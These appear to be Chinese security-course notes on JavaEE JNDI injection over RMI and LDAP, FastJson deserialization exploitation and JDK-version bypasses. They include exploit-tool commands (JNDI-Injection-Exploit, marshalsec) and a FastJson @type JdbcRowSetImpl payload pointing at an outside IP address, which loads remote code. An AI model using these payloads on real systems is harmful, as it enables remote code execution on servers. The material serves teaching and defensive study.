思维导图
见 22安全开发
知识点:
- 41、JavaEE-JNDI注入-RMI&LDAP
- 42、JavaEE-漏洞结合-FastJson链
- 43、JavaEE-漏洞条件-JDK版本绕过
章节点
- 1、PHP:
功能:新闻列表,会员中心,资源下载,留言版,后台模块,模版引用,框架开发等
技术:输入输出,超全局变量,数据库操作,逻辑架构,包含上传&下载删除;
技术:JS&CSS混用,Cookie,Session操作,MVC架构,ThinkPHP引用等。
安全:原生PHP开发安全,模版引用安全,第三方插件安全,TP框架安全等 - 2、JS:
功能:登录验证,文件操作,SQL操作,云应用接入,框架开发,打包器使用等
技术:原生开发,DOM,常见库使用,框架开发(Vue,NodeJS),打包器(Webpack)等
安全:原生开发安全,NodeJS安全,Vue安全,打包器Webpack安全,三方库安全问题等 - 3、Java:
功能:数据库操作,文件操作,序列化数据,身份验证,框架开发,第三方库使用等.
框架库:MyBatis,SpringMVC,SpringBoot,Shiro,Log4j,FastJson等
技术:Servlet,Listen,Filter,Interceptor,JWT,AOP,待补充
安全:SQL注入,RCE执行,反序列化,脆弱验证,未授权访问,待补充
安全:原生开发安全,第三方框架安全,第三方库安全等,待补充
JNDI注入
思考明白:
什么是jndi注入
为什么有jndi注入
JDNI注入安全问题
JDNI注入利用条件
参考:https://blog.csdn.net/dupei/article/details/120534024
JNDI注入-RMI&LDAP服务
[将JNDI规范看成是一个让配置参数和代码解耦的一种规范和思想会更好理解一些。比如说常见的在DAO层通过原始的JDBC来连接数据库,我们可以选择在代码中直接写入数据库的连接参数,但一旦数据源发生变更,我们就势必要改动代码后重新编译才能连接新的数据源。而如果我们将数据库连接参数改成外部配置的方式,那么也就实现了配置和代码之间的解耦]
JNDI全称为 Java Naming and DirectoryInterface(Java命名和目录接口),是一组应用程序接口,为开发人员查找和访问各种资源提供了统一的通用接口,可以用来定义用户、网络、机器、对象和服务等各种资源。JNDI支持的服务主要有:DNS、LDAP、CORBA、RMI等。
RMI:远程方法调用注册表
LDAP:轻量级目录访问协议
调用检索:
Java为了将Object对象存储在Naming或Directory服务下,提供了Naming Reference功能,对象可以通过绑定Reference存储在Naming或Directory服务下,比如RMI、LDAP等。 javax.naming.InitialContext.lookup()(专门实现jndi注入的)
在RMI服务中调用了InitialContext.lookup()的类有:
1
2
3
4org.springframework.transaction.jta.JtaTransactionManager.readObject()
com.sun.rowset.JdbcRowSetImpl.execute()
javax.management.remote.rmi.RMIConnector.connect()
org.hibernate.jmx.StatisticsService.setSessionFactoryJNDIName(String sfJNDIName)在LDAP服务中调用了InitialContext.lookup()的类有:
1
2
3InitialDirContext.lookup()
Spring LdapTemplate.lookup()
LdapTemplate.lookupContext()
JNDI远程调用-JNDI-Injection
基于工具自主定义(节省下述2,4步骤)
- 1、使用远程调用(默认端口1389)
1
2new InitialContext().lookup("ldap://xx.xx.xx.xx:1389/Test");
new InitialContext().lookup("rmi://xx.xx.xx.xx:1099/Test"); - 2、使用利用工具生成调用地址
1
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc" -A xx.xx.xx.xx (其实这里jndi工具会自动在服务端生成一个执行calc的class文件)
JNDI远程调用-marshalsec
- 1、使用远程调用(默认端口1389)
1
2new InitialContext().lookup("ldap://xx.xx.xx.xx:1389/Test");
new InitialContext().lookup("rmi://xx.xx.xx.xx:1099/Test"); - 2、编译调用对象
javac Test.java - 3、使用利用工具生成调用协议(rmi,ldap)
1
2java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://0.0.0.0/#Test
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://0.0.0.0/#Test - 4、将生成的Class存放访问路径
JNDI-Injection & marshalsec 实现原理:
1 | 例:RMI调用 |
JNDI注入-FastJson漏洞结合
背景:JavaEE中接受用户提交的JSON数据进行转换(FastJson反序列化漏洞)
思路:利用InitialContext.lookup()中的进行JdbcRowSetImpl类JNDI服务注入
漏洞利用FastJson autotype处理Json对象的时候,未对@type字段进行完整的安全性验证,攻击者可以传入危险类,并调用危险类连接远程RMI主机,通过其中的恶意类执行代码。攻击者通过这种方式可以实现远程代码执行漏洞,获取服务器敏感信息,甚至可以利用此漏洞进一步的对服务器数据进行操作。
- 1、报错判断FastJson
- 2、生成远程调用方法
1
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc" -A 47.94.236.117
- 3、提交JSON数据Payload
1
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://47.94.236.117:1099/vwaexx","autoCommit":true}
JNDI注入-JDK高版本注入绕过
JDK 6u45、7u21之后:
java.rmi.server.useCodebaseOnly的默认值被设置为true。当该值为true时,将禁用自动加载远程类文件,仅从CLASSPATH和当前JVM的java.rmi.server.codebase指定路径加载类文件。使用这个属性来防止客户端VM从其他Codebase地址上动态加载类,增加了RMI ClassLoader的安全性。JDK 6u141、7u131、8u121之后:
增加了com.sun.jndi.rmi.object.trustURLCodebase选项,默认为false,禁止RMI和CORBA协议使用远程codebase的选项,因此RMI和CORBA在以上的JDK版本上已经无法触发该漏洞,但依然可以通过指定URI为LDAP协议来进行JNDI注入攻击。JDK 6u211、7u201、8u191之后:
增加了com.sun.jndi.ldap.object.trustURLCodebase选项,默认为false,
禁止LDAP协议使用远程codebase的选项,把LDAP协议的攻击途径也给禁了。
高版本绕过:
https://www.mi1k7ea.com/2020/09/07/%E6%B5%85%E6%9E%90%E9%AB%98%E4%BD%8E%E7%89%88JDK%E4%B8%8B%E7%9A%84JNDI%E6%B3%A8%E5%85%A5%E5%8F%8A%E7%BB%95%E8%BF%87/
https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html